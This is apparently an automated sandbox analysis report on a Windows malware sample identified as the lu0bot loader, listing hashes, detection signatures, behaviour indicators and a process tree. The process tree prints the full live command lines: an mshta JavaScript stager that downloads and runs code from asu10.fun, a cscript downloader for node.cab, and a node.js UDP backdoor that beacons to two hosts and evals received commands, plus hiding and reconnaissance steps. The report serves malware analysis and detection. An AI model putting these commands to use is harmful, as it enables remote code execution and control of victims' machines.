Analysis
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max time kernel
153s -
max time network
154s -
platform
windows7_x64 -
resource
win7v20210408 -
submitted
19-08-2021 20:12
Static task
static1
Behavioral task
behavioral1
Sample
usfive_20210819-215421.exe
Resource
win7v20210408
windows7_x64
0 signatures
0 seconds
General
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Target
usfive_20210819-215421.exe
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Size
2KB
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MD5
3e06325ec38f23fd8f26216641963d44
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SHA1
ebbc18e69b89136ca4ea7cbd2bcd801aa4fbfb73
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SHA256
4c31eccb460bef397e6100e1ecd85c3a2b823b893a9a9add4bb83fde8f9b122b
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SHA512
f2e6fbcfca6733b9b7aac9f5bd3c41899dd1a6b3a1ee9caff1bc3274c307fc84565e74b88af87e107507ba813e2994d943fca8b2cdee15348567fa0720e238f2
Malware Config
Signatures
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suricata: ET MALWARE lu0bot Loader HTTP Request
suricata: ET MALWARE lu0bot Loader HTTP Request
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suricata: ET MALWARE lu0bot Loader HTTP Response
suricata: ET MALWARE lu0bot Loader HTTP Response
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Blocklisted process makes network request 2 IoCs
flow pid Process 4 1996 mshta.exe 5 1960 cscript.exe -
Executes dropped EXE 1 IoCs
pid Process 968 node.exe -
Loads dropped DLL 1 IoCs
pid Process 556 cscript.exe -
Modifies file permissions 1 TTPs 1 IoCs
pid Process 344 icacls.exe -
Drops file in Windows directory 2 IoCs
description ioc Process File opened for modification C:\Windows\Logs\DPX\setuperr.log expand.exe File opened for modification C:\Windows\Logs\DPX\setupact.log expand.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Checks processor information in registry 2 TTPs 6 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString node.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1 node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString node.exe -
Enumerates processes with tasklist 1 TTPs 1 IoCs
pid Process 1800 tasklist.exe -
Gathers network information 2 TTPs 2 IoCs
Uses commandline utility to view network configuration.
pid Process 1720 ipconfig.exe 1528 netstat.exe -
Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
pid Process 1292 systeminfo.exe -
NTFS ADS 2 IoCs
description ioc Process File created C:\Users\Admin\AppData\Local\Temp\b4209d54bb57107e:ads node.exe File created C:\ProgramData\DNTException\node.exe:27655602499028b1e2fc282199ed7edd node.exe -
Script User-Agent 2 IoCs
Uses user-agent string associated with script host/environment.
description flow ioc HTTP User-Agent header 4 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 5 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 968 node.exe 968 node.exe -
Suspicious use of AdjustPrivilegeToken 42 IoCs
description pid Process Token: SeDebugPrivilege 1800 tasklist.exe Token: SeIncreaseQuotaPrivilege 2044 wmic.exe Token: SeSecurityPrivilege 2044 wmic.exe Token: SeTakeOwnershipPrivilege 2044 wmic.exe Token: SeLoadDriverPrivilege 2044 wmic.exe Token: SeSystemProfilePrivilege 2044 wmic.exe Token: SeSystemtimePrivilege 2044 wmic.exe Token: SeProfSingleProcessPrivilege 2044 wmic.exe Token: SeIncBasePriorityPrivilege 2044 wmic.exe Token: SeCreatePagefilePrivilege 2044 wmic.exe Token: SeBackupPrivilege 2044 wmic.exe Token: SeRestorePrivilege 2044 wmic.exe Token: SeShutdownPrivilege 2044 wmic.exe Token: SeDebugPrivilege 2044 wmic.exe Token: SeSystemEnvironmentPrivilege 2044 wmic.exe Token: SeRemoteShutdownPrivilege 2044 wmic.exe Token: SeUndockPrivilege 2044 wmic.exe Token: SeManageVolumePrivilege 2044 wmic.exe Token: 33 2044 wmic.exe Token: 34 2044 wmic.exe Token: 35 2044 wmic.exe Token: SeIncreaseQuotaPrivilege 2044 wmic.exe Token: SeSecurityPrivilege 2044 wmic.exe Token: SeTakeOwnershipPrivilege 2044 wmic.exe Token: SeLoadDriverPrivilege 2044 wmic.exe Token: SeSystemProfilePrivilege 2044 wmic.exe Token: SeSystemtimePrivilege 2044 wmic.exe Token: SeProfSingleProcessPrivilege 2044 wmic.exe Token: SeIncBasePriorityPrivilege 2044 wmic.exe Token: SeCreatePagefilePrivilege 2044 wmic.exe Token: SeBackupPrivilege 2044 wmic.exe Token: SeRestorePrivilege 2044 wmic.exe Token: SeShutdownPrivilege 2044 wmic.exe Token: SeDebugPrivilege 2044 wmic.exe Token: SeSystemEnvironmentPrivilege 2044 wmic.exe Token: SeRemoteShutdownPrivilege 2044 wmic.exe Token: SeUndockPrivilege 2044 wmic.exe Token: SeManageVolumePrivilege 2044 wmic.exe Token: 33 2044 wmic.exe Token: 34 2044 wmic.exe Token: 35 2044 wmic.exe Token: SeDebugPrivilege 1528 netstat.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 1820 wrote to memory of 1996 1820 usfive_20210819-215421.exe 25 PID 1820 wrote to memory of 1996 1820 usfive_20210819-215421.exe 25 PID 1820 wrote to memory of 1996 1820 usfive_20210819-215421.exe 25 PID 1820 wrote to memory of 1996 1820 usfive_20210819-215421.exe 25 PID 1996 wrote to memory of 1128 1996 mshta.exe 27 PID 1996 wrote to memory of 1128 1996 mshta.exe 27 PID 1996 wrote to memory of 1128 1996 mshta.exe 27 PID 1996 wrote to memory of 1128 1996 mshta.exe 27 PID 1128 wrote to memory of 1960 1128 cmd.exe 29 PID 1128 wrote to memory of 1960 1128 cmd.exe 29 PID 1128 wrote to memory of 1960 1128 cmd.exe 29 PID 1128 wrote to memory of 1960 1128 cmd.exe 29 PID 1128 wrote to memory of 1564 1128 cmd.exe 32 PID 1128 wrote to memory of 1564 1128 cmd.exe 32 PID 1128 wrote to memory of 1564 1128 cmd.exe 32 PID 1128 wrote to memory of 1564 1128 cmd.exe 32 PID 1128 wrote to memory of 556 1128 cmd.exe 34 PID 1128 wrote to memory of 556 1128 cmd.exe 34 PID 1128 wrote to memory of 556 1128 cmd.exe 34 PID 1128 wrote to memory of 556 1128 cmd.exe 34 PID 556 wrote to memory of 968 556 cscript.exe 35 PID 556 wrote to memory of 968 556 cscript.exe 35 PID 556 wrote to memory of 968 556 cscript.exe 35 PID 556 wrote to memory of 968 556 cscript.exe 35 PID 968 wrote to memory of 1940 968 node.exe 37 PID 968 wrote to memory of 1940 968 node.exe 37 PID 968 wrote to memory of 1940 968 node.exe 37 PID 968 wrote to memory of 1940 968 node.exe 37 PID 968 wrote to memory of 1824 968 node.exe 38 PID 968 wrote to memory of 1824 968 node.exe 38 PID 968 wrote to memory of 1824 968 node.exe 38 PID 968 wrote to memory of 1824 968 node.exe 38 PID 968 wrote to memory of 344 968 node.exe 39 PID 968 wrote to memory of 344 968 node.exe 39 PID 968 wrote to memory of 344 968 node.exe 39 PID 968 wrote to memory of 344 968 node.exe 39 PID 968 wrote to memory of 240 968 node.exe 40 PID 968 wrote to memory of 240 968 node.exe 40 PID 968 wrote to memory of 240 968 node.exe 40 PID 968 wrote to memory of 240 968 node.exe 40 PID 968 wrote to memory of 1696 968 node.exe 41 PID 968 wrote to memory of 1696 968 node.exe 41 PID 968 wrote to memory of 1696 968 node.exe 41 PID 968 wrote to memory of 1696 968 node.exe 41 PID 968 wrote to memory of 1800 968 node.exe 42 PID 968 wrote to memory of 1800 968 node.exe 42 PID 968 wrote to memory of 1800 968 node.exe 42 PID 968 wrote to memory of 1800 968 node.exe 42 PID 968 wrote to memory of 2044 968 node.exe 44 PID 968 wrote to memory of 2044 968 node.exe 44 PID 968 wrote to memory of 2044 968 node.exe 44 PID 968 wrote to memory of 2044 968 node.exe 44 PID 968 wrote to memory of 1720 968 node.exe 45 PID 968 wrote to memory of 1720 968 node.exe 45 PID 968 wrote to memory of 1720 968 node.exe 45 PID 968 wrote to memory of 1720 968 node.exe 45 PID 968 wrote to memory of 564 968 node.exe 46 PID 968 wrote to memory of 564 968 node.exe 46 PID 968 wrote to memory of 564 968 node.exe 46 PID 968 wrote to memory of 564 968 node.exe 46 PID 968 wrote to memory of 1528 968 node.exe 47 PID 968 wrote to memory of 1528 968 node.exe 47 PID 968 wrote to memory of 1528 968 node.exe 47 PID 968 wrote to memory of 1528 968 node.exe 47 -
Views/modifies file attributes 1 TTPs 2 IoCs
pid Process 240 attrib.exe 1696 attrib.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\usfive_20210819-215421.exe"C:\Users\Admin\AppData\Local\Temp\usfive_20210819-215421.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:1820 -
C:\Windows\SysWOW64\mshta.exemshta "javascript:document.write();29;y=unescape('%320%35%7E%68t%74p%3A%2F%2Fa%73u%310%2Ef%75n%2Fh%72i%2F%3F%321%616%654%62%7E%322%30').split('~');43;try{x='WinHttp';190;x=new ActiveXObject(x+'.'+x+'Request.5.1');163;x.open('GET',y[1]+'&a='+escape(window.navigator.userAgent),!1);170;x.send();87;y='ipt.S';130;new ActiveXObject('WScr'+y+'hell').Run(unescape(unescape(x.responseText)),0,!2);72;}catch(e){};246;;window.close();"2⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:1996 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /d/s/c cd /d "C:\ProgramData" & mkdir "DNTException" & cd "DNTException" & dir /a node.exe || ( echo x=new ActiveXObject("WinHttp.WinHttpRequest.5.1"^);x.Open("GET",unescape(WScript.Arguments(0^)^),false^);x.Send(^);b=new ActiveXObject("ADODB.Stream"^);b.Type=1;b.Open(^);b.Write(x.ResponseBody^);b.SaveToFile(WScript.Arguments(1^),2^); > get1629403934330.txt & cscript /nologo /e:jscript get1629403934330.txt "http%3A%2F%2Fasu10.fun%2Fhri%2F%3F20cc18851%26b%3Ddffc4ef8" node.cab & expand node.cab node.exe & del get1629403934330.txt node.cab ) & echo new ActiveXObject("WScript.Shell").Run(WScript.Arguments(0),0,false); > get1629403934330.txt & cscript /nologo /e:jscript get1629403934330.txt "node -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%270cc18851%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27asu10.fun%27);s.send(b,0,b.length,19584,%27lu1.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))" & del get1629403934330.txt3⤵
- Suspicious use of WriteProcessMemory
PID:1128 -
C:\Windows\SysWOW64\cscript.execscript /nologo /e:jscript get1629403934330.txt "http%3A%2F%2Fasu10.fun%2Fhri%2F%3F20cc18851%26b%3Ddffc4ef8" node.cab4⤵
- Blocklisted process makes network request
PID:1960
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C:\Windows\SysWOW64\expand.exeexpand node.cab node.exe4⤵
- Drops file in Windows directory
PID:1564
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C:\Windows\SysWOW64\cscript.execscript /nologo /e:jscript get1629403934330.txt "node -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%270cc18851%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27asu10.fun%27);s.send(b,0,b.length,19584,%27lu1.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))"4⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:556 -
C:\ProgramData\DNTException\node.exe"C:\ProgramData\DNTException\node.exe" -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%270cc18851%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27asu10.fun%27);s.send(b,0,b.length,19584,%27lu1.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))5⤵
- Executes dropped EXE
- Checks processor information in registry
- NTFS ADS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:968 -
C:\Windows\SysWOW64\cmd.execmd.exe /c dir C:\6⤵PID:1940
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C:\Windows\SysWOW64\cacls.execacls.exe C:\ProgramData\DNTException /t /e /c /g Everyone:F6⤵PID:1824
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C:\Windows\SysWOW64\icacls.exeicacls.exe C:\ProgramData\DNTException /t /c /grant *S-1-1-0:(f)6⤵
- Modifies file permissions
PID:344
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C:\Windows\SysWOW64\attrib.exeattrib.exe +H C:\ProgramData\DNTException6⤵
- Views/modifies file attributes
PID:240
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C:\Windows\SysWOW64\attrib.exeattrib.exe +H C:\ProgramData\DNTException\node.exe6⤵
- Views/modifies file attributes
PID:1696
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C:\Windows\SysWOW64\tasklist.exetasklist /fo csv /nh6⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
PID:1800
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C:\Windows\SysWOW64\Wbem\wmic.exewmic process get processid,parentprocessid,name,executablepath /format:csv6⤵
- Suspicious use of AdjustPrivilegeToken
PID:2044
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C:\Windows\SysWOW64\ipconfig.exeipconfig.exe /all6⤵
- Gathers network information
PID:1720
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C:\Windows\SysWOW64\route.exeroute.exe print6⤵PID:564
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C:\Windows\SysWOW64\netstat.exenetstat.exe -ano6⤵
- Gathers network information
- Suspicious use of AdjustPrivilegeToken
PID:1528
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C:\Windows\SysWOW64\systeminfo.exesysteminfo.exe /fo csv6⤵
- Gathers system information
PID:1292
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